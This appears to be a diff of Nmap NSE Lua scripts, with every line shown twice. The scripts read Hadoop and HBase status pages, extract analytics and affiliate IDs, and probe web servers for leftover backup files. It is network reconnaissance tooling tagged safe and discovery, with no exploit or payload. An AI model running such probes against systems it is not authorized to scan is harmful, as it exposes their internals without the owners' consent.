local status,err = target.add(newtarget)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
local uri = "/dfshealth.jsp"
|
local uri = "/dfshealth.jsp"
|
||||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||||
local response = http.get( host, port, uri )
|
local response = http.get( host, port, uri )
|
||||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||||
local body = response['body']:gsub("%%","%%%%")
|
local body = response['body']:gsub("%%","%%%%")
|
||||||
local capacity = {}
|
local capacity = {}
|
||||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||||
if body:match("Started:%s*<td>([^][<]+)") then
|
if body:match("Started:%s*<td>([^][<]+)") then
|
||||||
local start = body:match("Started:%s*<td>([^][<]+)")
|
local start = body:match("Started:%s*<td>([^][<]+)")
|
||||||
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start))
|
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start))
|
||||||
table.insert(result, ("Started: %s"):format(start))
|
table.insert(result, ("Started: %s"):format(start))
|
||||||
end
|
end
|
||||||
if body:match("Version:%s*<td>([^][<]+)") then
|
if body:match("Version:%s*<td>([^][<]+)") then
|
||||||
local version = body:match("Version:%s*<td>([^][<]+)")
|
local version = body:match("Version:%s*<td>([^][<]+)")
|
||||||
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
||||||
table.insert(result, ("Version: %s"):format(version))
|
table.insert(result, ("Version: %s"):format(version))
|
||||||
port.version.version = version
|
port.version.version = version
|
||||||
end
|
end
|
||||||
if body:match("Compiled:%s*<td>([^][<]+)") then
|
if body:match("Compiled:%s*<td>([^][<]+)") then
|
||||||
local compiled = body:match("Compiled:%s*<td>([^][<]+)")
|
local compiled = body:match("Compiled:%s*<td>([^][<]+)")
|
||||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||||
end
|
end
|
||||||
if body:match("Upgrades:%s*<td>([^][<]+)") then
|
if body:match("Upgrades:%s*<td>([^][<]+)") then
|
||||||
local upgrades = body:match("Upgrades:%s*<td>([^][<]+)")
|
local upgrades = body:match("Upgrades:%s*<td>([^][<]+)")
|
||||||
stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades))
|
stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades))
|
||||||
table.insert(result, ("Upgrades: %s"):format(upgrades))
|
table.insert(result, ("Upgrades: %s"):format(upgrades))
|
||||||
end
|
end
|
||||||
if body:match("([^][\"]+)\">Browse") then
|
if body:match("([^][\"]+)\">Browse") then
|
||||||
local filesystem = body:match("([^][\"]+)\">Browse")
|
local filesystem = body:match("([^][\"]+)\">Browse")
|
||||||
stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem))
|
stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem))
|
||||||
table.insert(result, ("Filesystem: %s"):format(filesystem))
|
table.insert(result, ("Filesystem: %s"):format(filesystem))
|
||||||
end
|
end
|
||||||
if body:match("([^][\"]+)\">Namenode") then
|
if body:match("([^][\"]+)\">Namenode") then
|
||||||
local logs = body:match("([^][\"]+)\">Namenode")
|
local logs = body:match("([^][\"]+)\">Namenode")
|
||||||
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
|
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
|
||||||
table.insert(result, ("Logs: %s"):format(logs))
|
table.insert(result, ("Logs: %s"):format(logs))
|
||||||
end
|
end
|
||||||
for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do
|
for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do
|
||||||
table.insert(capacity,i)
|
table.insert(capacity,i)
|
||||||
end
|
end
|
||||||
if #capacity >= 6 then
|
if #capacity >= 6 then
|
||||||
stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3]))
|
stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3]))
|
||||||
stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5]))
|
stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5]))
|
||||||
stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6]))
|
stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6]))
|
||||||
table.insert(result,"Storage:")
|
table.insert(result,"Storage:")
|
||||||
table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining")
|
table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining")
|
||||||
table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6]))
|
table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6]))
|
||||||
end
|
end
|
||||||
local datanodes_live = get_datanodes(host,port, "LIVE")
|
local datanodes_live = get_datanodes(host,port, "LIVE")
|
||||||
if next(datanodes_live) then
|
if next(datanodes_live) then
|
||||||
table.insert(result, "Datanodes (Live): ")
|
table.insert(result, "Datanodes (Live): ")
|
||||||
table.insert(result, datanodes_live)
|
table.insert(result, datanodes_live)
|
||||||
end
|
end
|
||||||
local datanodes_dead = get_datanodes(host,port, "DEAD")
|
local datanodes_dead = get_datanodes(host,port, "DEAD")
|
||||||
if next(datanodes_dead) then
|
if next(datanodes_dead) then
|
||||||
table.insert(result, "Datanodes (Dead): ")
|
table.insert(result, "Datanodes (Dead): ")
|
||||||
table.insert(result, datanodes_dead)
|
table.insert(result, datanodes_dead)
|
||||||
end
|
end
|
||||||
if #result > 0 then
|
if #result > 0 then
|
||||||
port.version.name = "hadoop-namenode"
|
port.version.name = "hadoop-namenode"
|
||||||
port.version.product = "Apache Hadoop"
|
port.version.product = "Apache Hadoop"
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -50,90 +50,90 @@ categories = {"default", "discovery", "safe"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = function(host, port)
|
portrule = function(host, port)
|
||||||
-- Run for the special port number, or for any HTTP-like service that is
|
-- Run for the special port number, or for any HTTP-like service that is
|
||||||
-- not on a usual HTTP port.
|
-- not on a usual HTTP port.
|
||||||
return shortport.port_or_service ({60010}, "hbase-master")(host, port)
|
return shortport.port_or_service ({60010}, "hbase-master")(host, port)
|
||||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
local region_servers = {}
|
local region_servers = {}
|
||||||
local uri = "/master.jsp"
|
local uri = "/master.jsp"
|
||||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||||
local response = http.get( host, port, uri )
|
local response = http.get( host, port, uri )
|
||||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||||
local body = response['body']:gsub("%%","%%%%")
|
local body = response['body']:gsub("%%","%%%%")
|
||||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||||
if body:match("HBase%s+Version</td><td>([^][<]+)") then
|
if body:match("HBase%s+Version</td><td>([^][<]+)") then
|
||||||
local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
|
local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||||
stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version))
|
stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version))
|
||||||
table.insert(result, ("Hbase Version: %s"):format(version))
|
table.insert(result, ("Hbase Version: %s"):format(version))
|
||||||
port.version.version = version
|
port.version.version = version
|
||||||
end
|
end
|
||||||
if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
|
if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
|
||||||
local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
|
local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||||
stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled))
|
stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||||
table.insert(result, ("Hbase Compiled: %s"):format(compiled))
|
table.insert(result, ("Hbase Compiled: %s"):format(compiled))
|
||||||
end
|
end
|
||||||
if body:match("Directory</td><td>([^][<]+)") then
|
if body:match("Directory</td><td>([^][<]+)") then
|
||||||
local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ")
|
local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||||
stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled))
|
stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled))
|
||||||
table.insert(result, ("HBase Root Directory: %s"):format(compiled))
|
table.insert(result, ("HBase Root Directory: %s"):format(compiled))
|
||||||
end
|
end
|
||||||
if body:match("Hadoop%s+Version</td><td>([^][<]+)") then
|
if body:match("Hadoop%s+Version</td><td>([^][<]+)") then
|
||||||
local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
|
local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||||
stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version))
|
stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version))
|
||||||
table.insert(result, ("Hadoop Version: %s"):format(version))
|
table.insert(result, ("Hadoop Version: %s"):format(version))
|
||||||
end
|
end
|
||||||
if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then
|
if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then
|
||||||
local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
|
local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||||
stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled))
|
stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||||
table.insert(result, ("Hadoop Compiled: %s"):format(compiled))
|
table.insert(result, ("Hadoop Compiled: %s"):format(compiled))
|
||||||
end
|
end
|
||||||
if body:match("average</td><td>([^][<]+)") then
|
if body:match("average</td><td>([^][<]+)") then
|
||||||
local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ")
|
local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||||
stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average))
|
stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average))
|
||||||
table.insert(result, ("Average Load: %s"):format(average))
|
table.insert(result, ("Average Load: %s"):format(average))
|
||||||
end
|
end
|
||||||
if body:match("Quorum</td><td>([^][<]+)") then
|
if body:match("Quorum</td><td>([^][<]+)") then
|
||||||
local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
|
local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||||
stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum))
|
stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum))
|
||||||
table.insert(result, ("Zookeeper Quorum: %s"):format(quorum))
|
table.insert(result, ("Zookeeper Quorum: %s"):format(quorum))
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
if quorum:match("([%w%.]+)") then
|
if quorum:match("([%w%.]+)") then
|
||||||
local newtarget = quorum:match("([%w%.]+)")
|
local newtarget = quorum:match("([%w%.]+)")
|
||||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||||
local status,err = target.add(newtarget)
|
local status,err = target.add(newtarget)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
for line in string.gmatch(body, "[^\n]+") do
|
for line in string.gmatch(body, "[^\n]+") do
|
||||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||||
if line:match("maxHeap") then
|
if line:match("maxHeap") then
|
||||||
local region_server= line:match("\">([^][<]+)</a>")
|
local region_server= line:match("\">([^][<]+)</a>")
|
||||||
stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server))
|
stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server))
|
||||||
table.insert(region_servers, region_server)
|
table.insert(region_servers, region_server)
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
if region_server:match("([%w%.]+)") then
|
if region_server:match("([%w%.]+)") then
|
||||||
local newtarget = region_server:match("([%w%.]+)")
|
local newtarget = region_server:match("([%w%.]+)")
|
||||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||||
local status,err = target.add(newtarget)
|
local status,err = target.add(newtarget)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if next(region_servers) then
|
if next(region_servers) then
|
||||||
table.insert(result,"Region Servers:")
|
table.insert(result,"Region Servers:")
|
||||||
table.insert(result,region_servers)
|
table.insert(result,region_servers)
|
||||||
end
|
end
|
||||||
if #result > 0 then
|
if #result > 0 then
|
||||||
port.version.name = "hbase-master"
|
port.version.name = "hbase-master"
|
||||||
port.version.product = "Apache Hadoop Hbase"
|
port.version.product = "Apache Hadoop Hbase"
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -51,9 +51,9 @@ categories = {"safe", "discovery"}
|
|||||||
|
|
||||||
-- these are the regular expressions for affiliate IDs
|
-- these are the regular expressions for affiliate IDs
|
||||||
local AFFILIATE_PATTERNS = {
|
local AFFILIATE_PATTERNS = {
|
||||||
["Google Analytics ID"] = "(?P<id>UA-[0-9]{6,9}-[0-9]{1,2})",
|
["Google Analytics ID"] = "(?P<id>UA-[0-9]{6,9}-[0-9]{1,2})",
|
||||||
["Google Adsense ID"] = "(?P<id>pub-[0-9]{16,16})",
|
["Google Adsense ID"] = "(?P<id>pub-[0-9]{16,16})",
|
||||||
["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P<id>\\w+-\\d+)",
|
["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P<id>\\w+-\\d+)",
|
||||||
}
|
}
|
||||||
|
|
||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
@@ -65,76 +65,76 @@ postrule = function() return (nmap.registry["http-affiliate-id"] ~= nil) end
|
|||||||
--@param port nmap port table
|
--@param port nmap port table
|
||||||
--@param affid affiliate id table
|
--@param affid affiliate id table
|
||||||
local add_key_to_registry = function(host, port, path, affid)
|
local add_key_to_registry = function(host, port, path, affid)
|
||||||
local site = host.targetname or host.ip
|
local site = host.targetname or host.ip
|
||||||
site = site .. ":" .. port.number .. path
|
site = site .. ":" .. port.number .. path
|
||||||
nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {}
|
nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {}
|
||||||
|
|
||||||
nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {}
|
nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {}
|
||||||
table.insert(nmap.registry["http-affiliate-id"][site], affid)
|
table.insert(nmap.registry["http-affiliate-id"][site], affid)
|
||||||
end
|
end
|
||||||
|
|
||||||
portaction = function(host, port)
|
portaction = function(host, port)
|
||||||
local result = {}
|
local result = {}
|
||||||
local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/"
|
local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/"
|
||||||
local body = http.get(host, port, url_path).body
|
local body = http.get(host, port, url_path).body
|
||||||
|
|
||||||
if ( not(body) ) then
|
if ( not(body) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Here goes affiliate matching
|
-- Here goes affiliate matching
|
||||||
for name, re in pairs(AFFILIATE_PATTERNS) do
|
for name, re in pairs(AFFILIATE_PATTERNS) do
|
||||||
local regex = pcre.new(re, 0, "C")
|
local regex = pcre.new(re, 0, "C")
|
||||||
local limit, limit2, matches = regex:match(body)
|
local limit, limit2, matches = regex:match(body)
|
||||||
if limit ~= nil then
|
if limit ~= nil then
|
||||||
local affiliateid = matches["id"]
|
local affiliateid = matches["id"]
|
||||||
result[#result + 1] = name .. ": " .. affiliateid
|
result[#result + 1] = name .. ": " .. affiliateid
|
||||||
add_key_to_registry(host, port, url_path, result[#result])
|
add_key_to_registry(host, port, url_path, result[#result])
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|
||||||
--- iterate over the list of gathered ids and look for related sites (sharing the same siteids)
|
--- iterate over the list of gathered ids and look for related sites (sharing the same siteids)
|
||||||
local function postaction()
|
local function postaction()
|
||||||
local siteids = {}
|
local siteids = {}
|
||||||
local output = {}
|
local output = {}
|
||||||
|
|
||||||
-- create a reverse mapping affiliate ids -> site(s)
|
-- create a reverse mapping affiliate ids -> site(s)
|
||||||
for site, ids in pairs(nmap.registry["http-affiliate-id"]) do
|
for site, ids in pairs(nmap.registry["http-affiliate-id"]) do
|
||||||
for _, id in ipairs(ids) do
|
for _, id in ipairs(ids) do
|
||||||
if not siteids[id] then
|
if not siteids[id] then
|
||||||
siteids[id] = {}
|
siteids[id] = {}
|
||||||
end
|
end
|
||||||
-- discard duplicate IPs
|
-- discard duplicate IPs
|
||||||
if not stdnse.contains(siteids[id], site) then
|
if not stdnse.contains(siteids[id], site) then
|
||||||
table.insert(siteids[id], site)
|
table.insert(siteids[id], site)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- look for sites using the same affiliate id
|
-- look for sites using the same affiliate id
|
||||||
for id, sites in pairs(siteids) do
|
for id, sites in pairs(siteids) do
|
||||||
if #siteids[id] > 1 then
|
if #siteids[id] > 1 then
|
||||||
local str = id .. ' used by:'
|
local str = id .. ' used by:'
|
||||||
for _, site in ipairs(siteids[id]) do
|
for _, site in ipairs(siteids[id]) do
|
||||||
str = str .. '\n ' .. site
|
str = str .. '\n ' .. site
|
||||||
end
|
end
|
||||||
table.insert(output, str)
|
table.insert(output, str)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if #output > 0 then
|
if #output > 0 then
|
||||||
return 'Possible related sites\n' .. table.concat(output, '\n')
|
return 'Possible related sites\n' .. table.concat(output, '\n')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local ActionsTable = {
|
local ActionsTable = {
|
||||||
-- portrule: get affiliate ids
|
-- portrule: get affiliate ids
|
||||||
portrule = portaction,
|
portrule = portaction,
|
||||||
-- postrule: look for related sites (same affiliate ids)
|
-- postrule: look for related sites (same affiliate ids)
|
||||||
postrule = postaction
|
postrule = postaction
|
||||||
}
|
}
|
||||||
|
|
||||||
-- execute the action function corresponding to the current rule
|
-- execute the action function corresponding to the current rule
|
||||||
|
|||||||
@@ -47,107 +47,107 @@ categories = {"discovery", "safe"}
|
|||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
local function backupNames(filename)
|
local function backupNames(filename)
|
||||||
local function createBackupNames()
|
local function createBackupNames()
|
||||||
local dir = filename:match("^(.*/)") or ""
|
local dir = filename:match("^(.*/)") or ""
|
||||||
local basename, suffix = filename:match("([^/]*)%.(.*)$")
|
local basename, suffix = filename:match("([^/]*)%.(.*)$")
|
||||||
|
|
||||||
local backup_names = {}
|
local backup_names = {}
|
||||||
if basename then
|
if basename then
|
||||||
table.insert(backup_names, "{basename}.bak") -- generic bak file
|
table.insert(backup_names, "{basename}.bak") -- generic bak file
|
||||||
end
|
end
|
||||||
if basename and suffix then
|
if basename and suffix then
|
||||||
table.insert(backup_names, "{basename}.{suffix}~") -- emacs
|
table.insert(backup_names, "{basename}.{suffix}~") -- emacs
|
||||||
table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy
|
table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy
|
||||||
table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy
|
table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy
|
||||||
table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy
|
table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy
|
||||||
table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup
|
table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup
|
||||||
table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue
|
table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
local replace_patterns = {
|
local replace_patterns = {
|
||||||
["{filename}"] = filename,
|
["{filename}"] = filename,
|
||||||
["{basename}"] = basename,
|
["{basename}"] = basename,
|
||||||
["{suffix}"] = suffix,
|
["{suffix}"] = suffix,
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, name in ipairs(backup_names) do
|
for _, name in ipairs(backup_names) do
|
||||||
local backup_name = name
|
local backup_name = name
|
||||||
for p, v in pairs(replace_patterns) do
|
for p, v in pairs(replace_patterns) do
|
||||||
backup_name = backup_name:gsub(p,v)
|
backup_name = backup_name:gsub(p,v)
|
||||||
end
|
end
|
||||||
coroutine.yield(dir .. backup_name)
|
coroutine.yield(dir .. backup_name)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return coroutine.wrap(createBackupNames)
|
return coroutine.wrap(createBackupNames)
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||||
crawler:set_timeout(10000)
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
local res, res404, known404 = http.identify_404(host, port)
|
local res, res404, known404 = http.identify_404(host, port)
|
||||||
if not res then
|
if not res then
|
||||||
stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME)
|
stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME)
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
local backups = {}
|
local backups = {}
|
||||||
while(true) do
|
while(true) do
|
||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- parse the returned url
|
-- parse the returned url
|
||||||
local parsed = url.parse(tostring(r.url))
|
local parsed = url.parse(tostring(r.url))
|
||||||
|
|
||||||
-- handle case where only hostname was provided
|
-- handle case where only hostname was provided
|
||||||
if ( parsed.path == nil ) then
|
if ( parsed.path == nil ) then
|
||||||
parsed.path = '/'
|
parsed.path = '/'
|
||||||
end
|
end
|
||||||
|
|
||||||
-- only pursue links that have something looking as a file
|
-- only pursue links that have something looking as a file
|
||||||
if ( parsed.path:match(".*%.*.$") ) then
|
if ( parsed.path:match(".*%.*.$") ) then
|
||||||
-- iterate over possible backup files
|
-- iterate over possible backup files
|
||||||
for link in backupNames(parsed.path) do
|
for link in backupNames(parsed.path) do
|
||||||
local host, port = parsed.host, parsed.port
|
local host, port = parsed.host, parsed.port
|
||||||
|
|
||||||
-- if no port was found, try to deduce it from the scheme
|
-- if no port was found, try to deduce it from the scheme
|
||||||
if ( not(port) ) then
|
if ( not(port) ) then
|
||||||
port = (parsed.scheme == 'https') and 443
|
port = (parsed.scheme == 'https') and 443
|
||||||
port = port or ((parsed.scheme == 'http') and 80)
|
port = port or ((parsed.scheme == 'http') and 80)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- the url.escape doesn't work here as it encodes / to %2F
|
-- the url.escape doesn't work here as it encodes / to %2F
|
||||||
-- which results in 400 bad request, so we simple do a space
|
-- which results in 400 bad request, so we simple do a space
|
||||||
-- replacement instead.
|
-- replacement instead.
|
||||||
local escaped_link = link:gsub(" ", "%%20")
|
local escaped_link = link:gsub(" ", "%%20")
|
||||||
|
|
||||||
-- attempt a HEAD-request against each of the backup files
|
-- attempt a HEAD-request against each of the backup files
|
||||||
local response = http.head(host, port, escaped_link)
|
local response = http.head(host, port, escaped_link)
|
||||||
if http.page_exists(response, res404, known404, escaped_link, true) then
|
if http.page_exists(response, res404, known404, escaped_link, true) then
|
||||||
if ( not(parsed.port) ) then
|
if ( not(parsed.port) ) then
|
||||||
table.insert(backups,
|
table.insert(backups,
|
||||||
("%s://%s%s"):format(parsed.scheme, host, link))
|
("%s://%s%s"):format(parsed.scheme, host, link))
|
||||||
else
|
else
|
||||||
table.insert(backups,
|
table.insert(backups,
|
||||||
("%s://%s:%d%s"):format(parsed.scheme, host, port, link))
|
("%s://%s:%d%s"):format(parsed.scheme, host, port, link))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( #backups > 0 ) then
|
if ( #backups > 0 ) then
|
||||||
backups.name = crawler:getLimitations()
|
backups.name = crawler:getLimitations()
|
||||||
return stdnse.format_output(true, backups)
|
return stdnse.format_output(true, backups)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -61,19 +61,19 @@ Driver = {
|
|||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
-- This will cause problems, as ther is no way for us to "reserve"
|
-- This will cause problems, as ther is no way for us to "reserve"
|
||||||
-- a socket. We may end up here early with a set of credentials
|
-- a socket. We may end up here early with a set of credentials
|
||||||
